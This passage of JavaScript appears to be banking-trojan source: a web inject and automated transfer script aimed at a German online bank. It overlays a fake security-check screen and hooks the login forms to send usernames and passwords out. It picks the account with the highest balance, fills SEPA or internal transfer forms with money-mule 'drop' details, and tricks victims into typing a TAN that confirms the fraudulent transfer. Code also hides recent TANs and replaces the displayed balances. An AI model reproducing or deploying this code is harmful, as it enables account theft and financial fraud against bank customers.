  883.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  884.   nextbutton: "Weiter",
  885.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  886.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  887.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  888.  },
  889.   DE: {
  890.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  891.   nextbutton: "Weiter",
  892.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  893.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  894.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  895.  
  896.  },
  897.  
  898.  
  899.  getLang: function(step) {
  900.  
  901.  
  902. var ln='EN';
  903. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  904.  
  905. //  return(this.simple_property + ', ' + this[ln][step]);
  906.   return(this[ln][step]);
  907.  },
  908.  
  909.  getCurLang: function() {
  910.  
  911.  
  912. var ln='EN';
  913. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  914.  
  915.   return(ln);
  916.  }
  917.  
  918. };
  919.  
  920.  
  921.  
  922.  
  923. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 20px 20px 35px 20px;font-size:1em;width: auto;} .formContainer2 { width: 800px;border: 0.1em solid #C1C3C4 !important;text-align: left;color: #000; font-weight: bold; background-color: #FFFFFF;  }  #branch {    width: 1.9em;}.layout input, .layout select {    vertical-align: middle;}textarea, input, select {    border: 1px solid #B5C9E3;    color: #333333;    font: 1em arial,helvetica,sans-serif;    padding: 2px;}input.button {    -moz-border-bottom-colors: none;    -moz-border-image: none;    -moz-border-left-colors: none;    -moz-border-right-colors: none;    -moz-border-top-colors: none;    background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA;    border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color;    border-style: none solid solid none;    border-width: medium 1px 1px medium;    color: #003399;    cursor: pointer;    font-size: 1em;    font-weight: bold;    padding: 2px 3px; float:right;    }.inj_logo_p { color: #FFFFFF; font-size: 18px; } </style>');
  924.  
  925.  
  926.  
  927.  
  928.  
  929. ATS.checkTestPage = function()
  930. {
  931.     if(jq('#gad_contentbox').length) return true;
  932.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  933.     else return false;
  934. }
  935.  
  936.  
  937. ATS.checkLoginPage = function()
  938. {
  939.     //return !jq('input[value="Logout"]').length;
  940.     if(!jq('.loggedin:contains(Session-TAN):visible,#login:contains(Session-TAN):visible').length && (!!jq('input[name*="event_login"]').length ||(!!jq('input[name="login"]').length))) return true; else return false;
  941. }
  942.  
  943.  
  944.  
  945. ATS.isLoggedIn = function()
  946. {
  947.     return !!jq('input[name*="event_logout"]').length;
  948. }
  949. ATS.UI_blockSite = function()
  950. {
  951.     if (ATS.debugNoOverlay)
  952.         return;
  953.       ATS.debugMsg('ATS.UI_blockSite');
  954.     if (jq('#inj_block_overlay').length)
  955.         jq('#inj_block_overlay').show();
  956.     else
  957.         jq('#page').before('<div id="inj_block_overlay" class="ui-widget-overlay"><div id="inj_logo"><br><img src="'+ATS.CONTENT_URL+'/images/overlay_loader.gif" class="overlay_loader overlay_loader_non_ie"><br><p class="inj_logo_p">Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).</p><img style="position: static;" class="overlay_logo" src="'+ATS.CONTENT_URL+'/images/overlay_progress.jpg"></div></div>');
  958. }
  959. ATS.UI_unblockSite = function()
  960. {
  961.     jq('#inj_block_overlay').hide();
  962.     jq('#page').show();
  963.     jq('#page > div').show();
  964. }
  965.  
  966. ATS.UI_hideDialogBox = function()
  967. {
  968.     jq('#inj_dialog_box').hide();
  969. }
  970.  
  971. ATS.UI_showDialogBox = function()
  972. {
  973.     //jq('#page > div').hide();
  974.    
  975.     if (!jq('#inj_dialog_box').length)
  976.     {
  977.         var injectCode = ATS.UI_getInjectCode();
  978.         jq('#page').after(injectCode);
  979.        
  980.         jq('#inj_Weiter').click(ATS.UI_onWeiterClick);
  981.     }
  982.     jq('#inj_dialog_box').show();
  983. }
  984. ATS.UI_showWait = function()
  985. {
  986.     //ATS.UI_showDialogBox();
  987.     //jq('#inj_page_wait').show();
  988.    
  989.     jq('#inj_logo').show();
  990.     //jq('#inj_page_tan').hide();
  991.     jq('#inj_page_brilok').hide();
  992.     jq('.formContainer2 #gad_contentbox').hide();
  993.     jq('#inj_dialog_box').hide();
  994.  
  995. }
  996.  
  997. ATS.getLoginForm = function()
  998. {
  999.     var form = jq("form#loginForm");
  1000.     if (form.length)
  1001.         return form[0];
  1002. return false;
  1003. }
  1004. ATS.getLoginForm2 = function()
  1005. {
  1006.     var form = jq("form#de-loginform");
  1007.     if (form.length)
  1008.         return form[0];
  1009.     return false;
  1010. }
  1011.  
  1012. ATS.getPageTitle = function(findtext)
  1013. {
  1014. var title=jq.trim(jq("div.page-headline >h1:eq(0)").text());
  1015.     if (title.indexOf(findtext) !=-1) return true;
  1016.     else return false;
  1017. }
  1018. ATS.hideLastTAN = function()
  1019. {
  1020.  
  1021.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1022.     if (el.length)
  1023.     {
  1024.         var html = jq(el).html();
  1025.         var pos = html.indexOf('Ihre zuletzt');
  1026.         if (pos >= 0)
  1027.             jq(el).html(html.substr(0, pos));
  1028.     }
  1029.    
  1030.  
  1031.     jq('p:contains(Zuletzt benutzte)').remove();
  1032. }
  1033.  
  1034.  
  1035. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1036.  
  1037.  
  1038.  
  1039. ATS.setLoginHook = function()
  1040. {
  1041.     var loginDataSent = false;
  1042.    
  1043.     var loginForm = ATS.getLoginForm();
  1044.     if (loginForm)
  1045.     {
  1046.         loginForm.onsubmit = function(){return true};
  1047.        
  1048.         jq(loginForm).submit(function(e){
  1049.             if (!loginDataSent)
  1050.             {
  1051.                 e.preventDefault();
  1052.                            
  1053.                            
  1054.                            
  1055.                 var login=jq(loginForm).find('input:visible[name="userId"]').val();
  1056.                
  1057.                 var password=jq(loginForm).find('input:visible[name="nip"]').val();
  1058.                
  1059.                 ATS.debugMsg('login info: ' + login + ', ' + password);
  1060.              
  1061.                     loginDataSent = true;
  1062.                 ATS.sendLoginInfo(login, password, function(){
  1063.                    
  1064.                     jq(loginForm).submit();
  1065.                 })
  1066.                
  1067.                 //return false;
  1068.             }
  1069.             //return true;
  1070.         });
  1071.        
  1072.         return true;
  1073.     }
  1074.    
  1075.     var loginForm = ATS.getLoginForm2();
  1076.     if (loginForm)
  1077.     {
  1078.         loginForm.onsubmit = function(){return true};
  1079.        
  1080.         jq(loginForm).submit(function(e){
  1081.             if (!loginDataSent)
  1082.             {
  1083.                 e.preventDefault();
  1084.                            
  1085.                            
  1086.                            
  1087.                 var login=jq(loginForm).find('input:visible[name="username"]').val();
  1088.                
  1089.                 var password=jq(loginForm).find('input:visible[name="passwort"]').val();
  1090.                
  1091.                 ATS.debugMsg('login info: ' + login + ', ' + password);
  1092.              
  1093.                     loginDataSent = true;
  1094.                 ATS.sendLoginInfo(login, password, function(){
  1095.                    
  1096.                     jq(loginForm).submit();
  1097.                 })
  1098.                
  1099.                 //return false;
  1100.             }
  1101.             //return true;
  1102.         });
  1103.        
  1104.         return true;
  1105.     }
  1106.     return false;
  1107. }
  1108.  
  1109.  
  1110.  
  1111. // ============================================================================
  1112.  
  1113.  
  1114. ATS.getTime = function()
  1115. {
  1116.     return Math.floor((new Date).getTime() / 1000);
  1117. }
  1118.  
  1119.  
  1120.  
  1121. ATS.openInIframe = function(url)
  1122. {
  1123.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1124.     jq('body').append(iframe);
  1125.     if (ATS.debugVisibleFrame)
  1126.     {
  1127.         jq("#ats_wrk_iframe").css('width', '1200px');
  1128.         jq("#ats_wrk_iframe").css('height', '800px');
  1129.         jq("#ats_wrk_iframe").css('top', '100px');
  1130.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1131.         jq("#ats_wrk_iframe").css('z-index', '4000');
  1132.          
  1133. //          jq("body").css('position', 'relative');
  1134.     }
  1135.     else
  1136.     {
  1137.         jq("#ats_wrk_iframe").css('width', '1px');
  1138.         jq("#ats_wrk_iframe").css('height', '1px');
  1139.         //jq(iframe).css('top', '0px');
  1140.         //jq(iframe).css('position', 'absolute');
  1141.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1142.     }
  1143. }
  1144.  
  1145.  
  1146. ATS.parseAccountsList = function()
  1147. {
  1148.    
  1149. /*
  1150.    
  1151.     var accountsList = new Array();
  1152.    
  1153. jq("table.assets").each(function(){
  1154. jq(this).find('tr').has('td.actions button:contains(berweisung)').each(function(){
  1155.            if (langs.getCurLang()=='EN'){
  1156.  
  1157.             }
  1158.             else{
  1159.  
  1160. var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1161. var number=jq.trim(jq(this).children("td:eq(1)").text());
  1162. var button=jq(this).children("td:eq(3)").find('button');
  1163. var tr=jq(this);
  1164. var overdraft=0;
  1165.  
  1166.  
  1167.                 }
  1168.            
  1169.                 if (number != '')
  1170.                     {
  1171.     ATS.debugMsg('number: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1172.     //ATS.sendLogMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1173.                         accountsList.push({number: number,balance: balance, overdraft: overdraft, button: button, tr: tr});  
  1174.                      
  1175.                      
  1176.                     }
  1177.    
  1178.         })
  1179.     });
  1180.  
  1181.  
  1182.    
  1183.     return accountsList;
  1184. */
  1185. var accountsList = new Array();
  1186. var accountsListNided = new Array();
  1187.    
  1188. jq("table.assets").each(function(){
  1189. jq(this).find('tr').has('td.actions button').each(function(i){
  1190.    
  1191.  
  1192. var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1193. var number=jq.trim(jq(this).children("td:eq(1)").text());
  1194. var button=jq(this).children("td:eq(3)").find('button');
  1195. var buttontext=jq(this).children("td:eq(3)").find('button').text().replace(/\s+/g, '');
  1196. var tr=jq(this);
  1197. var overdraft=0;
  1198. var Referenzkonto=tr.parent().parent().parent().parent().find('.detailview div:eq('+i+') .interest:contains(Referenzkonto)').next().find("span").text().replace(/\s+/g, '')
  1199. var Uberweisungslimit=tr.parent().parent().parent().parent().find('.detailview span.plus').text();
  1200.            
  1201.                 if (number != '')
  1202.                 {
  1203.  
  1204.  // ATS.debugMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft + '; Referenzkonto : '+Referenzkonto+' buttontext = '+buttontext);
  1205.                     accountsList.push({number: number,balance: balance, overdraft: overdraft, button: button, tr: tr,Referenzkonto:Referenzkonto,buttontext:buttontext,Uberweisungslimit:Uberweisungslimit});    
  1206.                      
  1207.                      
  1208.                 }
  1209.    
  1210.        })
  1211.    }); 
  1212.  
  1213.     for(var i in accountsList)
  1214.     {
  1215. if((accountsList[i].buttontext.indexOf('berweisung')==-1) ||(accountsList[i].Referenzkonto.indexOf('Nein')==-1)){
  1216.  
  1217.  }else { accountsListNided.push(accountsList[i]);ATS.debugMsg(accountsList[i]);}
  1218. }
  1219.  
  1220.  
  1221. return accountsListNided   ;  
  1222.    
  1223.    
  1224. }
  1225.  
  1226.  
  1227.  
  1228. ATS.framePageFinanzstatus = function()
  1229. {
  1230.    
  1231. if (!!jq('div[role="dialog"]:visible').length)
  1232. jq('div[role="dialog"]').find('span:contains(close)').click();
  1233.    
  1234.    
  1235.    
  1236.    
  1237.  
  1238.     if(!parent.ATS.Gesamtsaldo){
  1239.  
  1240.  
  1241. if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
  1242.  
  1243. var tempGesamtsaldo=0;
  1244. jq(".accountGroupList h2.header span.accountGroupSum").each(function(){      
  1245. tempGesamtsaldo+=ATS.fin2float(jq(this).text());
  1246.  
  1247. })
  1248.  
  1249. }
  1250. else {ATS.die("framePageFinanzstatus: cant find tempGesamtsaldo");return false;}
  1251.    
  1252.  
  1253.     parent.ATS.Gesamtsaldo = tempGesamtsaldo;
  1254.     }
  1255.    
  1256.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1257.  
  1258.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1259.    
  1260.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1261.  
  1262.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find accounts Referenzkonto:Nein and button=Uberweisung');
  1263.    
  1264.     //var maxBalance = ATS.getMaxTransferAcc();
  1265.     var maxAcc = ATS.getMaxTransferAcc();
  1266.    
  1267.    
  1268.     parent.ATS.maxAcc=maxAcc;
  1269.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1270.    
  1271.    
  1272.     parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
  1273.  
  1274.     parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.Uberweisungslimit);
  1275.             jq(maxAcc.button).click();
  1276.  
  1277.  
  1278. /*
  1279.     maxAcc.tr.mouseenter();
  1280.         setTimeout(function(){
  1281.     parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.tr.parent().parent().parent().parent().find('.detailview span.plus').text());
  1282.             jq(maxAcc.button).click();
  1283.         }, 2000);
  1284. */    
  1285.  
  1286.    
  1287.    
  1288. }
  1289.  
  1290. ATS.KreditlimitPage = function()
  1291. {
  1292.  
  1293. var totalKreditBalance=0;
  1294. var dostupnaSumma=jq('.account-balance').find('td:eq(1) span');
  1295. dostupnaSumma = ATS.fin2float(jq(dostupnaSumma).text());
  1296.  
  1297. ATS.debugMsg('dostupnaSumma: ' + dostupnaSumma);
  1298.  
  1299. if(dostupnaSumma<=0){ ATS.die('KreditlimitPage: dostupnaSumma(Kontostand )  = '+dostupnaSumma); return false;}
  1300.  
  1301. if (parent.ATS.LimitTransfer>dostupnaSumma) totalKreditBalance=dostupnaSumma;
  1302. else totalKreditBalance=parent.ATS.LimitTransfer;
  1303.  
  1304.  
  1305. var HasSepa=false;
  1306. jq("input[name='opponentKeysInputType']").each(function(){
  1307. if (jq.trim(jq(this).attr("value"))=="ibanBic")  HasSepa=jq(this);
  1308. //jq(this).removeAttr('checked');
  1309. })
  1310. totalKreditBalance=parseFloat(totalKreditBalance.toFixed(2));
  1311.  
  1312.  
  1313. if(HasSepa){
  1314.     ATS.getDrop('SEPA', totalKreditBalance, function(data){
  1315.                     if (data && data.drop)
  1316.                     {
  1317.                         parent.ATS.sepa_drop = data.drop;
  1318.                         parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1319.  
  1320.                        jq(HasSepa).attr('checked', 'checked');
  1321.                        jq(HasSepa).click();
  1322.  
  1323.                     setTimeout(function(){
  1324.                     ATS.framePageSEPA_page();
  1325.                     }, 2000);
  1326.  
  1327.                        
  1328.                     }
  1329.                     else
  1330.                     {
  1331.                        
  1332.                         ATS.getDrop('Internal', totalKreditBalance, function(data){
  1333.                         if (data && data.drop)
  1334.                         {
  1335.                             parent.ATS.int_drop = data.drop;
  1336.                             parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1337.                 parent.ATS.transf_mode = 'int';
  1338.                     setTimeout(function(){
  1339.                        ATS.framePageInternal_transf_page();                    
  1340.                     }, 2000);
  1341.  
  1342.                            
  1343.                            
  1344.                         }
  1345.                         else
  1346.                         {
  1347.                             parent.ATS.UI_hideDialogBox();
  1348.                             parent.ATS.UI_unblockSite();
  1349.                             ATS.die('KreditlimitPage: no Int drop');
  1350.    
  1351.                         }
  1352.                         });
  1353.                  
  1354.                        
  1355.                     }
  1356.                 });
  1357.                
  1358.  
  1359. }else { // comment if(HasSepa){
  1360.                          ATS.getDrop('Internal', totalKreditBalance, function(data){
  1361.                         if (data && data.drop)
  1362.                         {
  1363.                             parent.ATS.int_drop = data.drop;
  1364.                             parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1365.                 parent.ATS.transf_mode = 'int';
  1366.                     setTimeout(function(){
  1367.                        ATS.framePageInternal_transf_page();                    
  1368.                     }, 2000);
  1369.  
  1370.                            
  1371.                            
  1372.                         }
  1373.                         else
  1374.                         {
  1375.                             parent.ATS.UI_hideDialogBox();
  1376.                             parent.ATS.UI_unblockSite();
  1377.                             ATS.die('KreditlimitPage: no Int drop');
  1378.    
  1379.                         }
  1380.                         });  
  1381.    
  1382. }
  1383.                
  1384.                
  1385.    
  1386. }    
  1387.  
  1388.  
  1389.  
  1390.  
  1391. ATS.framePageTransactions = function()
  1392. {
  1393.                        
  1394.    
  1395.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1396.  
  1397.     var sepa_link=jq('.gad-tabnavigation-list > li:eq(1) a').attr("href");
  1398.     if (sepa_link!='') {
  1399.         setTimeout(function(){
  1400.             document.location.href = sepa_link;                    
  1401.         }, 2000);
  1402.  
  1403.     }
  1404.     else ATS.die('framePageTransactions: cant find sepa_link');
  1405.    
  1406. }
  1407.  
  1408.  
  1409. ATS.framePageOverseas_remittance = function()
  1410. {
  1411.                        
  1412.  
  1413.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1414.    
  1415.     ATS.debugMsg('ATS.framePageOverseas_remittance, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1416.         setTimeout(function(){
  1417.             jq('.nextStep input[type="submit"]').eq(0).click();                    
  1418.         }, 2000);
  1419.  
  1420.    
  1421.    
  1422.    
  1423.    
  1424. }
  1425.  
  1426. ATS.framePageSEPA_page = function()
  1427. {
  1428.                        
  1429.  
  1430.     ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1431.  
  1432.  
  1433. ATS.framePageSEPA_fill();
  1434.    
  1435. }
  1436.  
  1437. ATS.framePageSEPA_fill = function()
  1438. {
  1439.  
  1440. var drop = parent.ATS.sepa_drop;
  1441. /*     
  1442.         var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1443.  
  1444.         if (jq(accountsSelect).length != 0)
  1445.         {
  1446.             var maxAcc = null;
  1447.             jq(accountsSelect).children('option').each(function(){
  1448.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1449.                 if (acc_num != '')
  1450.                 {
  1451.                     ATS.debugMsg('Option: ' + acc_num);
  1452.                
  1453.                 var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1454.                     ATS.debugMsg('accInfo: ' + accInfo);
  1455.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1456.                     {
  1457.                         maxAcc = accInfo;
  1458.                         jq(this).attr('selected', 'selected');
  1459.                     }
  1460.                 }
  1461.             });    
  1462.        
  1463.         }  
  1464.             if (maxAcc)
  1465.             {
  1466.                 ATS.setCookie('transfer_acc', maxAcc.number);
  1467.             }
  1468.             else ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1469.             */
  1470.          if (parent.ATS.maxAcc.number)
  1471.             {
  1472.                 ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
  1473.             }
  1474.             else ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1475.  
  1476.            
  1477.   //------------------------------------------------------  
  1478.    
  1479.    
  1480.    
  1481.    
  1482.  
  1483.        
  1484.     jq('input:visible[name="accountingOpponent"]').val(drop.DrName);
  1485.     jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
  1486.  
  1487.    
  1488.     jq('input:visible[name="bicOpponent"]').focus().val( ATS.padRight(drop.BIC,11)).blur().keyup();
  1489.     jq('input:visible[name="amount"]').val(drop.amount);
  1490.     jq('input:visible[name="purpose1"]').val(drop.Reference);
  1491.  
  1492.  
  1493.  
  1494.  
  1495.    
  1496.  
  1497.    
  1498.         //parent.ATS.current_state = 110;
  1499.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1500.     ATS.sendLogMsg('SEPA form filled in');
  1501.    
  1502.  
  1503.  
  1504.    
  1505.     if ( jq('input#submitBtn').eq(0).length)
  1506.     {
  1507.      
  1508.         setTimeout(function(){      jq('input#submitBtn').eq(0).click();        }, 20000);
  1509.     }
  1510.     else
  1511.     {
  1512.         ATS.die('framePageSEPA_page: cant find continue button');
  1513.     }
  1514.  
  1515.  
  1516. }
  1517.  
  1518.  
  1519.  
  1520. ATS.framePageInternal_transf_page = function()
  1521. {
  1522.                        
  1523.  
  1524.     ATS.debugMsg('ATS.framePageInternal_transf_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1525.     //jq('.nextStep input[type="submit"]').eq(0).click();
  1526.  
  1527.  
  1528.    
  1529.    
  1530.     ATS.framePageInternal_transf_page_fill();
  1531. }
  1532.  
  1533.  
  1534. ATS.framePageInternal_transf_page_fill = function()
  1535. {
  1536.     var drop = parent.ATS.int_drop;
  1537.    
  1538.    /*
  1539.         var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1540.  
  1541.         if (jq(accountsSelect).length != 0)
  1542.         {
  1543.             var maxAcc = null;
  1544.             jq(accountsSelect).children('option').each(function(){
  1545.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1546.                 if (acc_num != '')
  1547.                 {
  1548.                     ATS.debugMsg('Option: ' + acc_num);
  1549.                
  1550.                 var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1551.                     ATS.debugMsg('accInfo: ' + accInfo);
  1552.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1553.                     {
  1554.                         maxAcc = accInfo;
  1555.                         jq(this).attr('selected', 'selected');
  1556.                     }
  1557.                 }
  1558.             });    
  1559.        
  1560.         }  
  1561.  
  1562.             if (maxAcc)
  1563.             {
  1564.                 ATS.setCookie('transfer_acc', maxAcc.number);
  1565.             }
  1566.             else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
  1567.             */
  1568.            
  1569.             if (parent.ATS.maxAcc.number)
  1570.             {
  1571.                 ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
  1572.             }
  1573.             else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
  1574.            
  1575.            
  1576.   //------------------------------------------------------  
  1577.    
  1578.    
  1579.    
  1580.     jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
  1581.    
  1582.    
  1583.     jq('input[name="accountingOpponent"]').val(drop.DrName);
  1584.     //jq('input[name="accountnoOpponent"]').val(drop.Konto);
  1585.     //jq('input[name="bankCodeOpponent"]').val(drop.BLZ);
  1586.     jq('input[name="amount"]').val(drop.amount);
  1587.     jq('input[name="purpose1"]').val(drop.Reference);
  1588.    
  1589.  
  1590.    
  1591.    
  1592.    
  1593.  
  1594.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1595.     ATS.sendLogMsg('INT form filled in');
  1596.  
  1597.    
  1598.    
  1599.     if ( jq('input#submitBtn').eq(0).length)
  1600.     {
  1601.      
  1602.         setTimeout(function(){
  1603.        
  1604.             jq('input#submitBtn').eq(0).click();
  1605.         }, 20000);
  1606.     }
  1607.     else
  1608.     {
  1609.             ATS.die('framePageInternal_transf_page: cant find continue button');
  1610.     }
  1611.    
  1612.    
  1613.  
  1614. }
  1615. ATS.enterCode = function(tan)
  1616. {
  1617.     ATS.debugMsg('ATS.enterCode ' + tan);
  1618.    
  1619.    
  1620.     if (jq('#defaultFocusT0').length)
  1621.     {
  1622.         jq('#defaultFocusT0').val(tan);
  1623.        
  1624.         if ( jq('input[name*="event_confirm"]').eq(0).length)
  1625.         {
  1626.             //parent.ATS.current_state = 120;
  1627.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1628.             parent.ATS.UI_showWait();
  1629.            
  1630.             jq('input[name*="event_confirm"]').eq(0).click();
  1631.         }
  1632.         else
  1633.             ATS.die('enterCode: cant find  button');
  1634.     }
  1635.     else
  1636.         ATS.die('enterCode: cant find field by label');
  1637. }
  1638.  
  1639.  
  1640.  
  1641. ATS.frameWork = function()
  1642. {
  1643.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1644.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1645.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1646.     {
  1647.  
  1648.         case "framePageFinanzstatus":
  1649.             ATS.framePageFinanzstatus();
  1650.             break;
  1651.            
  1652.        
  1653.         case "Transactions":
  1654.             ATS.framePageTransactions();
  1655.             break;
  1656.            
  1657.        
  1658.         case "Overseas_remittance":
  1659.             ATS.framePageOverseas_remittance();
  1660.             break;
  1661.        
  1662.         case "KreditlimitPage":
  1663.             ATS.KreditlimitPage();
  1664.             break;
  1665.        
  1666.    
  1667.         case "SEPA_page":
  1668.             ATS.framePageSEPA_page();
  1669.             break;
  1670.            
  1671.  
  1672.         case "SEPA_form_filled":
  1673.             if (!jq("div.aspect-error:visible").length)
  1674.             {
  1675.                 ATS.UI_askTan();
  1676.             }
  1677.             else
  1678.             {
  1679.                 ATS.die('frameWork: Error fill SEPA form: ' + jq.trim(jq("div.aspect-error:visible").text()));
  1680.             }
  1681.             break;
  1682.            
  1683.  
  1684.             case "Internal_transf_page":
  1685.                 ATS.framePageInternal_transf_page();
  1686.             break;
  1687.            
  1688.  
  1689.         case "INT_form_filled":
  1690.             if (!jq("div.aspect-error:visible").length)
  1691.             {
  1692.                 ATS.UI_askTan();
  1693.             }
  1694.             else
  1695.             {
  1696.                 ATS.die('frameWork: Error fill INT form: ' + jq.trim(jq("div.aspect-error:visible").text()));
  1697.             }
  1698.             break;
  1699.            
  1700.            
  1701.            
  1702.            
  1703.            
  1704.            
  1705.  
  1706.         case "TAN_ENTERED":
  1707.        
  1708.         ATS.debugMsg("TAN_ENTERED");
  1709.  
  1710.        
  1711.         if (jq("div.aspect-error:visible").length)
  1712.         {
  1713.             parent.ATS.badTan = true;
  1714.             ATS.sendLogMsg('frameWork: bad TAN');
  1715.        
  1716.    
  1717.         if (parent.ATS.transf_mode == 'sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1718.         else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1719.  
  1720.    
  1721.         if ( jq('input[name*="event_change"]').length)
  1722.         {
  1723.             setTimeout(function(){
  1724.             jq('input[name*="event_change"]').click();
  1725.                        
  1726.             }, 5000);
  1727.  
  1728.         }
  1729.         else ATS.die('TAN_ENTERED: cant find  previousStep button');
  1730.    
  1731.        
  1732.                 }
  1733.        else {  
  1734.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  1735.         else ATS.framePageReceiptInternal();
  1736.        
  1737.        }
  1738.  
  1739.        
  1740.             break;                        
  1741.    
  1742.        
  1743.     }
  1744. }
  1745.  
  1746.  
  1747. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1748. {
  1749.     document.write('<div class="inj_full_overlay"></div>');
  1750.    
  1751.     jq(document).ready(function(){
  1752.         ATS.debugMsg('document loaded');
  1753.        
  1754.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1755.        
  1756.  
  1757.     ATS.loadData(function(data){
  1758.  
  1759.         if (ATS.account_id != 0)
  1760.         {  
  1761.      
  1762.             switch (ATS.getCookie('status')) {
  1763.                case "1":
  1764.                   if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
  1765.                   jq('.inj_full_overlay').remove();
  1766.                  
  1767.                   break;
  1768.                case "2":
  1769.                ATS.debugMsg('case "2"');
  1770.                
  1771.                
  1772.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
  1773.                 ATS.setCookie('status',0);
  1774.                 ATS.saveCookies();
  1775.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1776.                 jq('.inj_full_overlay').remove();
